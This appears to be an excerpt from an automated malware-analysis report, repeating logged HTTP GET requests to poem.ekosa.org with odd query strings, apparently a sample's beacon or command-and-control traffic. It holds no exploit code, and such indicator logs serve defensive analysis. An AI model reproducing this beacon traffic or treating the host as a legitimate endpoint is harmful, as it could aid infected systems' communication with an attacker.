Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?id=dn678 HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /intro/info/info.asp?search=2tjbpK6urq6urq6u HTTP/1.1Accept: /Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: poem.ekosa.orgConnection: Keep-Alive
